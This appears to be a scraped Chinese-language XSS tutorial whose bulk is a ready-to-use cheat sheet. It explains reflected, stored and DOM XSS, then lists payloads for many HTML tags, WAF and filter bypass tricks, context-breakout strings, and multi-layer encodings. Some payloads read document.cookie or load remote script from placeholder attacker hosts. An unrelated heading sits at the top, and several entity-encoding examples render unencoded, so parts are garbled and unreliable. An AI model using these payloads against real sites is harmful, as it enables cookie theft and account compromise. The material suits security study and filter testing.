LevOJ P1475 智力大沖浪
XSS跨站指令碼攻擊
簡介
XSS全稱跨站指令碼(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故縮寫為XSS。XSS攻擊通常指的是通過利用網頁開發時留下的漏洞,通過巧妙的方法注入惡意指令程式碼到網頁,使使用者載入並執行攻擊者惡意製造的網頁程式。這些惡意網頁程式通常是JavaScript,但實際上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻擊成功後,攻擊者可能得到包括但不限於更高的許可權(如執行一些操作)、私密網頁內容、會話和cookie等各種內容。
原理
通過在使用者端注入惡意的可執行指令碼,若伺服器對使用者的輸入不進行處理或處理不嚴,則瀏覽器就會直接執行使用者注入的指令碼。
注:XSS常見出現漏洞的地方,資料互動的地方,資料輸出的地方
XSS的分類
反射性XSS
儲存型XSS
DOM型XSS
反射性XSS
這種攻擊方式往往具有一次性,只在使用者單擊時觸發。網站的搜尋欄、使用者登入入口、輸入表單等地方都可以嘗試,常用來竊取客戶端cookies或釣魚欺騙。
攻擊方式
攻擊者通過電子郵件等方式將包含XSS程式碼的惡意連結傳送給目標使用者。當目標使用者訪問該連結時,伺服器接受該目標使用者的請求並進行處理,然後伺服器把帶有XSS的程式碼傳送給目標使用者的瀏覽器,瀏覽器解析這段帶有XSS程式碼的惡意指令碼後,就會觸發XSS漏洞。
儲存型XSS
攻擊者向網站注入的攻擊指令碼被永久的存放在目標伺服器的資料庫或檔案中。每次使用者訪問連結就會觸發惡意指令碼。論壇、部落格、留言板、網站的留言、評論、日誌等互動處都可以嘗試。
攻擊方式
攻擊者在發帖、留言、評論的過程中,將惡意指令碼連同正常資訊一起注入到釋出內容中。隨著釋出內容被伺服器儲存下來,惡意指令碼也將永久的存放到伺服器的後端儲存器中。當其他使用者瀏覽這個被注入了惡意指令碼的帖子時,惡意指令碼就會在使用者的瀏覽器中得到執行。
DOM型XSS
DOM(Document object model),使用DOM能夠使程式和指令碼能夠動態訪問和更新文件的內容、結構和樣式。DOM型XSS其實是一種特殊型別的反射型XSS,它是基於DOM文件物件的一種漏洞。DOM型XSS是基於js上的,不需要與伺服器進行互動。
攻擊方式
使用者請求一個經過專門設計的URL,它由攻擊者提供,而且其中包含XSS程式碼。伺服器的響應不會以任何形式包含攻擊者的指令碼,當用戶的瀏覽器處理這個響應時,DOM物件就會處理XSS程式碼,導致存在XSS漏洞。
//觸發DOM型XSS的屬性
document.write
document.referer
window.name
location
innerHTML
......
XSS的攻擊載荷
<script>標籤
<script>
標籤用於定義客戶端指令碼
<script>alert("xss")</script>
<script>alert(/xss/)</script>
<script>alert(document.cookie)</script>
<script src=http://xxx.com/xss.js></script>
<svg>標籤
<svg>
標籤用來在HTML頁面中直接嵌入SVG 檔案的程式碼。 //
等價於 >
<svg onload="alert("xss")">
<svg onload="alert("xss")"//
<img>標籤
<img>
標籤定義 HTML 頁面中的影象。
<img src=1 onerror=alert("xss")>
<img src=1 onerror=alert(document.cookie)>
<img src=1 onerror=eval("alert('xss')")>
<img src=javascript:alert("xss")>
<img src=javascript:alert(String.formCharCode(88,83,83))>
<img src=1 onmouseover=alert('xss')>
<body>標籤
<body>
標籤定義文件的主體。
<body onload=alert('xss')>
<body onpageshow=alert('xss')>
<video>標籤
<video>
標籤定義視訊,比如電影片段或其他視訊流。
<video><source onerror=alert(1)>
<style>標籤
<style>
標籤定義 HTML 文件的樣式資訊。
<style onload=alert(1)></style>
<input>標籤
<input>
標籤規定了使用者可以在其中輸入資料的輸入欄位。點選輸入框觸發
<input onfocus=alert(1);>
<input value="" onclick=alert('xss') type="text">
<input name="name" value=""onmouseover=prompt('xss') bad="">
<input name="name" value=""><script>alert('xss')</script>
<input onblur=alert(1) autofocus><input autofocus>
<input onfocus="alert(1);" autofocus>
<details> 標籤
<details>
標籤通過提供使用者開啟關閉的互動式控制元件,規定了使用者可見的或者隱藏的需求的補充細節。
<details ontoggle=alert(1);>
<details open ontoggle=alert(1);>
<select> 標籤
<select>
標籤用來建立下拉列表。
<select onfocus=alert(1)></select>
<select onfocus=alert(1) autofocus>
<iframe>標籤
<iframe>
標籤會建立包含另外一個文件的內聯框架。
<iframe onload=alert(1);></iframe>
<audio> 標籤
<audio>
標籤定義聲音,比如音樂或其他音訊流。
<audio src=x onerror=alert(1);>
<textarea> 標籤
<textarea>
標籤定義一個多行的文字輸入控制元件。
<textarea onfocus=alert(1); autofocus>
<marquee> 標籤
<marquee onstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以
<isindex> 標籤
<isindex type=image src=1 onerror=alert(1)>//僅限於IE
<link> 標籤
<link>
標籤定義文件與外部資源的關係。在無CSP的情況下才可以使用:
<link rel=import href="http://47.xxx.xxx.72/evil.js">
<a> 標籤
<a href="javascript:alert(1);">xss</a>
<form>標籤
<form action="Javascript:alert(1)"><input type=submit>
XSS 常見繞過姿勢
繞過空格過濾
當空格被過濾了時,我們可以用 /
來代替空格:
<img/src="x"/onerror=alert(1);>
繞過引號過濾
如果是html標籤中,我們可以不用引號。如果是在js中,我們可以用反引號代替單雙引號:
<img src=x onerror=alert(`xss`);>
繞過括號過濾
當括號被過濾的時候可以使用throw來繞過。throw 語句用於當錯誤發生時丟擲一個錯誤。
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>
繞過關鍵字過濾
大小寫繞過
<sCRiPt>alert(1);</sCrIpT>
<ImG sRc=x onerRor=alert(1);>
雙寫繞過
有些waf可能會只替換一次且是替換為空,這種情況下我們可以考慮雙寫關鍵字繞過
<scrscriptipt>alert(1);</scrscriptipt>
<imimgg srsrcc=x onerror=alert(1);>
字串拼接繞過
利用eval()函式
與PHP的eval()函式相同,JavaScript的eval()函式也可以計算 JavaScript 字串,並把它作為指令碼程式碼來執行。
<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
<!--在js中,我們可以用反引號代替單雙引號-->
利用top
<script>top["al"+"ert"](`xss`);</script>
<script>top["al"+"ert"]("xss");</script>
XSS 輸出點總結
輸出在屬性裡
例如輸出的位置位於value屬性中:
<input value="[輸出]" type=text>
我們可以選擇直接閉合標籤:
"><img src=x onerror=alert(1);>
<!--輸出後如下:-->
<input value=""><img src=x onerror=alert(1);>" type=text>
<!--還有一些特殊的場景,如:-->
<input type="hidden" value="[輸出]" />
<input value="[輸出點]" type="hidden"/>
<!--這裡只能把input標籤閉合,然後直接執行指令碼,否則會因為type為hidden導致無法執行指令碼。-->
如果 < >
被過濾的話可以換成選擇使用事件來閉合屬性,並將後面的引號註釋掉或閉合:
" autofocus onfocus=alert(1)//
" autofocus onfocus=alert(1) "
" onmouseover=prompt(0) x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus a="
<!--輸出後如下:-->
<input value="" autofocus onfocus=alert(1)//" type=text>
輸出在HTML標籤之間
例如輸出的位置如下:
<div id="body">[輸出]</div>
直接提交 <script>alert(1)</script>
即可觸發XSS,但是當標籤是不能執行指令碼的標籤時,如下面這幾個:
<title></title>
<textarea></textarea>
<xmp></xmp>
<iframe></iframe>
那麼就得先把那個標籤閉合,然後在注入XSS語句,例如:
</textarea><script>alert(1)</script>
輸出在script標籤之間
例如:
<script>
var x = "input";
</script>
可控位置在input,可以閉合script標籤插入程式碼,但是同樣我們僅僅閉合雙引號就可以執行js程式碼了:
";alert(1)//
<!--輸出後如下:-->
<script>var x = "";alert(1)//";</script>
XSS 字元編碼繞過
瀏覽器整個解析順序為3個環節:HTML實體解碼 —>URL解碼 —>JS解碼(只支援Unicode)
我們可以對XSS攻擊語句做這三種編碼都可以成功彈框。
HTML 實體編碼
我們可以將DOM節點中的內容轉化為HTML實體,因為解析HTML之後建立起節點,然後會對DOM節點裡面的HTML實體進行解析。HTML 編碼主要分為10進位制和16進位制,格式為以 &#
開頭以分號 ;
結尾(也可以不帶分號)。
如<
的編碼為<(10進位制)
、<(16進位制)
可以使用https://bianma.bmcx.com/進行編碼
<!--
<a href=javascript:alert("xss")>test\</a>
-->
<!--十進位制-->
<a href=javascript:alert("xss")>test</a>
<!--十六進位制-->
<a href=javascript:alert("xss")>test</a>
<!--也可以不帶分號-->
<a href=javascript:alert("xss")>test</a>
<!--<img src=x onerror=alert("xss")>-->
<!--十進位制-->
<img src=x onerror=alert("xss")>
<!--十六進位制-->
<img src=x onerror=alert("xss")>
<!--也可以不帶分號-->
<img src=x onerror=alert("xss")>
HTML字元實體,並不是說任何地方都可以使用實體編碼,只有處於 “資料狀態中的字元引用”、“屬性值狀態中的字元引用” 和 “RCDATA狀態中的字元引用” 這三種狀態中的HTML字元實體將會從 &#…
形式解碼,轉化成對應的解碼字元並被放入資料緩衝區中。
一個HTML解析器作為一個狀態機,它從輸入流中獲取字元並按照轉換規則轉換到另一種狀態。在解析過程中,任何時候它只要遇到一個 < 符號(後面沒有跟 /符號)就會進入 標籤開始狀態(Tag open state) ,然後轉變到 標籤名狀態(Tag name state) 、 前屬性名狀態(before attribute name state) ......最後進入 資料狀態(Data state) 並釋放當前標籤的token。當解析器處於資料狀態(Data state) 時,它會繼續解析,每當發現一個完整的標籤,就會釋放出一個token。
簡單的說就是,瀏覽器對HTML解碼之後就開始解析HTML文件,將眾多標籤轉化為內容樹中的DOM節點,此時識別標籤的時候,HTML解析器是無法識別那些被實體編碼的內容的,只有建立起DOM樹,才能對每個節點的內容進行識別,如果出現實體編碼,則會進行實體解碼,只要是DOM節點裡屬性的值,都可以被HTML編碼和解析。
資料狀態中的字元引用:資料狀態就是解析一個標籤內裡面的內容,如 <div>...</div>
中的內容,當瀏覽器解析完 <div>
標籤之後如果發現標籤內還含有實體字元的話,就會有一個實體編碼解析了
屬性值狀態中的字元引用:屬性值狀態中的字元引用就好理解了,就是src,herf這樣的屬性值中的HTML實體,他也是會先進行HTML解碼的。
RCDATA狀態中的字元引用:然後再來看一下什麼是RCDATA轉態,這裡需要我們先了解一下HTML中有五類元素:
- 空元素(Void elements),如
<area>
、<br>
、<base>
等等。空元素不能容納任何內容,因為它們沒有閉合標籤,沒有內容能夠放在開始標籤和閉合標籤中間。 - 原始文字元素(Raw text elements),有
<script>
和<style>
。原始文字元素可以容納文字。 - RCDATA元素(RCDATA elements),有
<textarea>
和<title>
。RCDATA元素可以容納文字和字元引用。 - 外部元素(Foreign elements),例如MathML名稱空間或者SVG名稱空間的元素。外部元素可以容納文字、字元引用、CDATA段、其他元素和註釋。
- 基本元素(Normal elements),即除了以上4種元素以外的元素。基本元素可以容納文字、字元引用、其他元素和註釋。
注意到RCDATA元素中有 <textarea>
和 <title>
兩個屬性並且有字元引用,也就是當實體字元出現在這兩個標籤裡面的時候,實體字元會被識別並進行HTML編碼解析。這裡要再提醒一次,在解析這些字元引用的過程中不會進入“標籤開始狀態”,所以就不會建立新的標籤,所以HTML編碼的XSS語句觸發不了XSS。
HTML的五類元素中,像 <script>
、<style>
這樣的原始文字元素在這個標籤內容納的是文字,所以瀏覽器在解析到這個標籤後,裡面內容中的HTML編碼並不會被認為是HTML實體引用,所以並不會被解碼為相應的字元,不會觸發語句原有的結果。但是當在前面加上 <svg>
,即可成功彈窗。
URL編碼
我們可以並將src或href屬性中的內容進行URL編碼,當HTML解析器對src或href中的字元完成HTML解碼後,接下來URL解析器會對src或href中的值進行URL解碼。
<a href=javascript:alert("xss")>test</a>
<a href=javascript:%61%6c%65%72%74%28%22%78%73%73%22%29>test</a>
<iframe src=javascript:alert("xss")></iframe>
<iframe src="javascript:%61%6c%65%72%74%28%22%78%73%73%22%29"></iframe>
<!--偽協議頭 javascript: 是不能進行編碼的。這裡就有一個URL解析過程中的一個細節了,
即不能對協議型別進行任何的編碼操作,否則URL解析器會認為它無型別,
就會導致DOM節點中被編碼的“javascript”沒有被解碼,當然不會被URL解析器識別了。
如:
http://www.baidu.com 可以被URL編碼為 http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d,
但是不能把協議也進URL編碼:%68%74%74%70%3a%2f%2f%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d
但是偽協議頭 javascript: 可以進行HTML編碼。
-->
Javascript 編碼
我們可以將DOM節點中的內容轉化為 Javascript 編碼。當HTML解析產生DOM節點後,會根據DOM節點來做接下來的解析工作,比如在處理諸如 <script>
、<style>
這樣的標籤時,解析器會自動切換到JavaScript解析模式,而 src、 href 後邊加入的 javascript 偽URL,也會進入 JavaScript 的解析模式。Javascript 中可以識別的編碼型別有:
- Unicode 編碼
- 八進位制編碼
- 十六進位制編碼
Unicode編碼的比較廣泛,而八進位制和十六進位制只有在DOM環境或eval()等函式中才可以用。
Unicode 編碼
<script>alert("xss")</script>
<script>\u0061\u006C\u0065\u0072\u0074("xss")</script>
<script>\u0061\u006C\u0065\u0072\u0074("\u0078\u0073\u0073")</script>
<a href=javascript:alert("xss")>test</a>
<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>
<a href=javascript:\u0061\u006C\u0065\u0072\u0074("\u0078\u0073\u0073")>test</a>
<!--不能對偽協議頭 javascript: 進行 Javascript 編碼。並且像圓括號、雙引號、單引號這樣的符號我們也不能進 Javascript 編碼,但是能進行HTML編碼。-->
在DOM環境中的JavaScript編碼
對於八進位制編碼和十六進位制編碼,與 Unicode 編碼還是有區別,要想讓他們能夠執行我們要將他們放在DOM環境中
<script>alert("xss")</script>
<script>\141\154\145\162\164("xss")</script>
<a href=javascript:alert("xss")>test</a>
<a href=javascript:\x61\x6c\x65\x72\x74("xss")>test</a>
<!--如果過濾了 <、>、'、"、&、% 等等這些字元的話,我們便可以用JavaScript編碼的方法將XSS語句全部編碼-->
即 <iframe src=javascript:alert('xss')></iframe> 的以下編碼都可以彈窗:
<!--Unicode編碼-->
\u003C\u0069\u0066\u0072\u0061\u006D\u0065\u0020\u0073\u0072\u0063\u003D\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003A\u0061\u006C\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029\u003E\u003C\u002F\u0069\u0066\u0072\u0061\u006D\u0065\u003E
<!--八進位制編碼-->
\74\151\146\162\141\155\145\40\163\162\143\75\152\141\166\141\163\143\162\151\160\164\72\141\154\145\162\164\50\47\170\163\163\47\51\76\74\57\151\146\162\141\155\145\76
<!--十六進位制編碼-->
\x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e
另一種彈窗的方法
<script>alert("xss")</script>
<script>eval("\141\154\145\162\164\50\42\170\163\163\42\51")</script>
<a href=javascript:alert("xss")>test</a>
<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")>test</a>
<img src=x onerror=alert("xss")>
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
混合編碼
<a href=javascript:alert("xss")>test</a>
首先對“alert”進行JavaScript Unicode編碼:
<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>
然後再對 \u0061\u006c\u0065\u0072\u0074 進行URL編碼:
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34("xss")>test</a>
最後對標籤中的 javascript:%5c%75...%37%34("xss") 整體進行HTML編碼即可:
<svg><a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34("xss")>test</a>
參考文章
https://www.freebuf.com/articles/web/280415.html
https://blog.csdn.net/machinegunjoe/article/details/117815159